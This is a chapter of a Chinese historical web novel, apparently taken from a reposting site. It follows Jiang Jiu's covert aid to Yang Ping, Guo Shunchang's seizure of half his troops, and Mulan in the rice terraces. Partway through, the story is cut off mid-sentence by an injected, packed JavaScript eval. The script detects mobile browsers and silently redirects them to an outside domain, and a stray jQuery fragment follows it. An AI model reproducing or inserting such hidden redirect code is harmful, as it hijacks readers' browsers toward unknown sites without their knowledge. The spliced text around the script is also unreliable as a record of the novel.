“虢帅，黑衣骑士正朝姜城而来。”侍卫再次回禀。
“姜九呢？”虢顺昌神色疑惑。
“姜帅一早就在巡查梯田和水库，全程都有跟着呢！”侍卫边说着，远处有人跑了过来。
“姜将军在山巅检查水库时人不见了，快去找呀！”
“什么时候的事儿？”虢顺昌朝来人吼道。
“一、两个时辰吧！”回禀的侍卫被吓得瑟瑟发抖。
“怎么不见的？”
“巡查水库时，人忽而就不见了，属下已经派人去找。”
一直站在虢顺昌身边的侍卫指了指城门外，“虢帅，看。黑衣骑士快要入城了。”
虢顺昌操起长枪，旋身上马，迎了上去。
回枪架在为首的黑衣骑士脖颈，虢顺昌低吼道，“姜九，竟敢违抗军令，受死吧！”
虢顺昌长枪挥下，身后传来一声吼叫，“住手。”
虢顺昌认得那是姜九的声音。
转头一看，姜九正全身湿漉漉，被木兰搀扶着朝虢顺昌走来。
虢顺昌扭头，面前的黑衣骑士把面罩摘下，露出姚博延的脸，身侧的几个骑士都是姚家年轻的家仆。
“怎么回事儿？”
姚博延下马，正色道，“我与杨大哥情同手足，知道他此次出征建安凶多吉少，所以前去相助。”
“就凭你？”虢顺昌狐疑地看这年轻的小伙。
“建安城的那把火就是我放的。引起建安城百姓恐慌，让朝廷军队自乱阵脚，才让杨大哥得以获胜。”姚博延得意地自述道。
“姜九，你……”虢顺昌气的青筋毕显。
“我不是黄巾军，出城救人不算违抗军令吧！”姚博延继续说道。
虢顺昌竟被他怼得无法辩驳。
姜九在虢顺昌面前站定，“我在巡查水库时不慎落水，幸而捡回来一条命。”
身畔的侍卫战战兢兢，“是我们没跟好将军，酿出大祸，请将军责罚。”
“下去吧！”
虢顺昌见自己又吃了哑巴亏，拂袖而去。
待虢顺昌离去，木兰把姜九带上马车。
姜九脱去外面濡湿的粗布衫，露出黑衣。
“差点露馅儿，好险……”木兰深舒了口气。
姜九早就安排姚博延提前潜入建安城，设好放火点，在指定时间内燃放大火。
他明知虢顺昌一直派人跟着他。
他趁水库视察期间，让人乔装成自己的模样迷惑尾随的将士。
姜九趁机沿水路到建安，助杨平突围。
而后再沿水路回到姜城，战术及时间设计得如此精妙，实在让木兰佩服。
木兰又疑惑道，“方才，你明明可以杀了杜平岚，为何要放他走？不怕他打回来吗？”
“首先，杜平岚在建安城威望甚高，杀了他，便跟整个建安城为敌。会给后续杨平的治理增加难度。再说了，杜平岚也是个将才，这次若不是为了百姓才战败，我和他……还会再见的。”
姜九回想起当日与杜平岚茶寮对聊的情景，“当日在茶寮时，他早认出我，还放我一马，我俩扯平了。”
马车刚到军营外，虢顺昌经过，朝马车方向粗鄙地吐了口唾沫，“呸，看你还能风光多久……”
虢顺昌嘴角带着一丝不屑，吐出一口唾沫，毫不掩饰对姜九的轻蔑之情。
他的视线依旧停留在营帐的方向，似乎在等待着什么。
姜九从营帐中走出，衣袍随风微扬，面容冷峻。
走到虢顺昌面前，姜九没有过多言语，而是淡然地插秧一拜。
虢顺昌微微冷笑，斜瞄姜九一眼，带着一丝轻蔑。
虢顺昌站在军队面前，挥了挥手，示意身后的队伍准备行动：“虢大帅有令，收回姜城一半兵力。整装待发，随我出城。”
姜九神色并未显露丝毫慌张，底下将士一片哗然。
“将军，我们不走……”
“我们都是姜帅的兵，誓死跟随……”
虢顺昌怒吼一声，“反了，你们。吃着黄巾军的军饷，理应效忠虢大帅。”
姚博延翻身下马，“这姜城乃兵家要塞，只留三千精兵驻守本已不足，为何还要撤兵？”
“别多嘴。”木兰见姚博延已然有些情绪过激，及时打断。
虢顺昌看着身着黑衣的姜九，眼神尽显不屑，踱步走向他。
“为何？哼……”虢顺昌冷笑一声，“你小子有能耐对黄巾军置喙？撤掉一半军队，听候虢大帅差遣。”
“恭送虢大人。”姜九把姚博延拉到自己身后，躬身作揖道。
虢顺昌站在大军前，冷眼扫视着这支队伍，“出发。”
他目光如鼠，随着号令的传达，一排排黄巾军将领走向前，脸色阴沉，眼中闪烁着不满的火光。
整支队伍无一人动，看着军队不为所动，虢顺昌嗤之以鼻道，“违令者，杀。”
“全体听令。”姜九一声令下，在场的黄巾军肃然起敬，全场寂静一片，“随虢顺昌回营。”
“姜帅……”将士们异口同声地喊道。
“走。”姜九目光如炬，语气不容置疑。
将士们在姜九气势下沉默了下来，只能无奈地跟着队伍缓缓撤离。
姜九掀帘入帐，姚博延紧随其后，愤愤不平道：“姜大哥，你就这么忍了？”
姜九没有立即答话，目光却沉静如水，片刻后才缓缓开口：“难道让兄弟们背负违抗军令的责罚么？”
姚博延冷哼一声，眼中闪过一抹不甘：“凭你姜九的能耐，不该这么窝囊。”
姜九终于抬起头，眼中依旧平静，“虢大帅对我有恩……”
两人之间的气氛愈发凝重，姚博延怒气未消，气喘吁吁地坐在案桌旁，低头轻轻叹了口气，最终还是放缓了语气：“我知道你重情义，可是，你若一味如此忍让，恐怕……”
话语未尽，他又怕寒了姜九的心，便没再说下去。
“别说了。”姜九并未被这些话动摇，他思索片刻，终于开口，声音铿锵有力：“虽兵力减少，为今之计需加强将士们的训练，优化兵器……”
话音未落，营帐外忽然传来一阵激昂的喊声：“让我见姜大哥，我兄妹俩要来投靠他！”
帐外，兄妹二人站在夕阳余晖中，见到姜九神色兴奋，眼中闪烁着期待的光芒。
“就是这俩兄妹，非要随我们回来投靠你。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260206|179458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”姚博延双手环于胸前，好整以暇地看着姜九。
姜九略微一怔，但很快便露出欣慰的微笑。姜九缓步上前，拍了拍顾京旭的肩膀。
“当日，得顾家兄妹帮忙，我才得以顺利逃出建安城。”姜九语气中满怀感恩。
顾京旭有些不好意思地挠了挠头，“当时，我们兄妹俩也是得一位英雄相救，才得以脱险。说来，那位英雄也以为我是姜大哥才出手相救。”
“哦？那位英雄叫什么？”姜九有些疑惑道。
顾京旭摇了摇头，“他只说自己叫阿刚……嗯，听他身边的侍卫叫他谷将军，姜大哥，你可认识？”
“谷将军？莫非是西北大营的谷志刚……”姜九一副若有所思的样子，喃喃道。
－－
清晨的薄雾尚未完全散去，梯田间的空气清新而湿润。
微风拂过，轻轻掀起她发间的碎发。
姚木兰身着素雅的青色布衣，腰间系着一条宽边的麻绳，袖口挽起，露出一双勤劳的手臂。
她头戴斗笠，脚穿草鞋，沿着梯田的小径缓步而行。
梯田依山而建，一层层向上延伸，犹如大地上层层叠叠的绿色波浪。
姚木兰走到田埂边，蹲下身子，双手轻轻拨开稻秧，仔细查看杂草的生长情况，而后她灵巧地将杂草一一除去，不让它们与稻秧争夺养分。
她的动作娴熟而轻柔，汗珠从她的额角滑落，划过脸颊，最后滴在脚下的泥土中。
稻田中的鱼不时跃出水面，激起一圈圈涟漪。
鱼儿在稻田中自由游弋，既能吃掉害虫，又能为稻田提供天然的肥料。
梯田四周的稻草和灌木丛后躲藏着几双凶狠的目光，屏住呼吸。
“老大，咱都饿坏了。抓了那鱼，咱烤了吃。”
姚木兰似乎听到声音，站起身，回头看了眼，却没了动静。
木兰又轻轻拍打着手中的泥土，目光投向田中在她脚边嬉戏的稻花鱼，会心地微笑。
这些流民衣衫褴褛，躲在后面的眼中却透出一丝饥饿的凶光。他们已经观察了好几天，盯着木兰所在的那片梯田。
“不就是一个娘们吗？还等什么？”
身后传来草丛摆动的声音，姚木兰侧头看去，神色多了几分警醒。
回头一看，又没了动静。
木兰忍不住往草丛那边缓步走去，草丛中的几双眼睛看着逐步逼近的步伐，屏住呼吸，手里拿着的棍棒也紧了紧。
“哗啦”一声，木兰朝声音的源头，扒拉开草丛。
“小娘子……”一声清脆的女孩叫唤声从木兰身后穿啦，响彻田间。
木兰闻声抬头，朝田边看去，姚木兰眼中闪过欣喜，“京芳？”
木兰放下手中的木桶，迎上顾京芳，“你怎么会在这儿？”
“杨大哥带兵来攻打建安城，我和我哥趁乱逃了出来。我俩无亲无故，特来投靠姜大哥。”
“太好了。在姜城还能守住片刻安宁。”
顾京芳扬了扬手中的几个竹筒，兴奋地说道，“小娘子，我刚研制的烟火，过两天荷花节，咱们就点它来助兴。”
“喊我木兰便是。”姚木兰疑问道，“荷花节？”